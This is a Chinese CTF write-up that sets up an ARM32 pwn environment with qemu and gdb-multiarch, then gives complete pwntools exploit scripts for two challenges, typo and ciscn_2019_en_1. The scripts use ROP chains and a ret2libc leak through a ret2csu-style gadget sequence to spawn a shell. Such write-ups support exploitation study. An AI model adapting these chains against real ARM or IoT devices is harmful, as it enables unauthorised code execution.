前言
起因是看到一篇IOT CVE的分析文章。
正好也在学pwn,arm架构的也是IOT这些固件最常用的,所以先安一个arm-pwn的环境。
环境搭建/调试
1. 安装 gdb-multiarch
sudo apt-get install gdb-multiarch
2. 安装qemu
ctf的arm_pwn只需要安装qemu-user
就行了。
binfmt*是用来识别文件类型
sudo apt-get install qemu-user
sudo apt-get install qemu-user-binfmt
sudo apt-get install "binfmt*"
只用这两步就可以直接运行静态链接的arm程序。
以jarvisoj typo
为例
3. 动态链接的arm程序配置
查找:
apt search "libc6-" | grep 'arm'
可以根据需要安装不同架构的库
对于arm32
就是这个
sudo apt-get install libc6-armel-cross
4. 运行方式
-L 指定运行库,-g 指定端口
qemu-arm -L /usr/arm-linux-gnueabi ./cisn_en_1
5. 动态调试
安装过程问题不大,记录下调试。
这里没用pwntools,先用gdb端口来看:
gdb-multiarch
set architecture arm
target remote localhost:23333
然后另一个终端运行待调试程序
以静态链接的typo为例:
不需要-L指定动态链接库,-g指定端口。
qemu-arm -g 23333 ./typo
pwntools调试
如果用py脚本调试,就加上这句:
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi','-g','23333', 'ciscn_en_1'])
然后一样的gdb-multiarch
设置好
target remote localhost:23333
再运行python即可调试。
两道题目
拿两道arm32的题来熟悉一下。
javisoj-typo
题目链接
对于arm指令集,以前我一直认为下载的IDA是无法F5的。。。
结果
也就是只要ROM、RAM这些位置加载对了(ctf的pwn题的话一般不用自己找基址。。),IDA就能F5。。。
(当然要全插件版的IDA)
回到题目。
第一个arm_pwn
程序静态链接,无PIE,无canary。
直接rop system(“/bin/sh”)
注意下要先恢复符号,不然不一定找得到system。
主要就是对于arm指令集要稍微熟悉一点,知道r0和amd64的rdi是用于第一个参数传参就行。
然后arm指令集是由pop pc这种来控制指令流的。
填充完缓冲区后不需要覆盖"old_ebp"。
Exp:
binsh = 0x0006C384
system = 0x110B4
# 0x00020904 : pop {r0, r4, pc}
r0_r4_pc = 0x00020904
pl = b'a'*112 + p32(r0_r4_pc) + p32(binsh) + p32(0) + p32(system)
sa("quit\n",b"\n")
sleep(0.3)
sl(pl)
p.interactive()
ciscn_2019_en_1
动态链接,无PIE。
IDA看程序,
很明显的一个栈溢出。我们尝试ret2libc。
首先要寻找gadget。
而这里是找不到pop r0的,这也是本题的难点所在。
但我们可以通过这个地方的gadget来间接控制r0:
跟ret2csu很类似,我们首先传入POP {R4-R10,PC}
的gadget,
这样我们就能控制R7,R3寄存器的值。
然后PC寄存器填上MOV R0.R7
,也就是上面那个gadget的地址。
这样我们就能通过R7
控制R0
,通过R3
控制BLX执行的函数了。
只是还有个问题,那个POP {R4-R10}
其实没有R3。。
但我们可以找一个R3的gadget,比如
0x000103a4 : pop {r3, pc}
来赋值R3,并且控制指令流。
具体到ret2libc流程来说,
R7 = puts_got
PC = pop_r3_pc
R3 = puts_plt
PC = mov_r0_r7
就可以打印出puts的地址了。
泄露libc后就正常再打一遍system("/bin/sh")
即可。
只是这里注意,我们不能像正常的ret2csu那样控制puts(puts_got)
后返回的地址。。
所以打印完后程序会直接退出。
当然本地两次开process它们的基址是不变的,所以我们再process
一个来getshell即可。
本地
Exp:
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638 #
mov_r0r7_blxr3 = 0x00010628 # r7 -> r0
# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(puts_got) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(puts_plt) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
#pause()
sl(pl)
ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - libc.sym['puts']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))
# getshell
p = process(['qemu-arm','-L', '/usr/arm-linux-gnueabi', 'ciscn_en_1'])
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)
p.interactive()
远程
打远程的话就不能这么开两次process
,
所以对于那个类csu gadget利用顺序就要改一改了。
核心就是改顺序使得能控制puts(puts_got)后的返回地址。
顺序改为:
padding
POP {R3,PC}
puts_plt # R3
POP {R4-R10,PC} # PC
p32(0)*3
puts_got # R7
p32(0)*3
MOV R0, R7 # PC
到这里的话就是第一遍gadget,类似csu的gadget1->gadget2
然后再次"滑"到gadget1的POP {R4-R10,PC}
我们就可以控制PC了。
p32(0)*7
vuln_addr # PC
然后就是buu远程给的libc奇奇怪怪的。。。 好多偏移都不大对。。
自己调整一下,
两个地方:
puts_got = 0x21010
libcbase = leak - 0x00047b30
远程的Exp:
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638 #
mov_r0r7_blxr3 = 0x00010628 # r7 -> r0
info_addr("plt",puts_plt)
info_addr("got",puts_got)
# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_r3_pc)
pl += p32(puts_plt) + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(0x21010)
pl += p32(0)*3 + p32(mov_r0r7_blxr3)
pl += p32(0)*7
pl += p32(vuln) # pc
ru("name:\n\n")
#pause()
sl(pl)
ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - 0x00047b30
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))
# getshell
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)
p.interactive()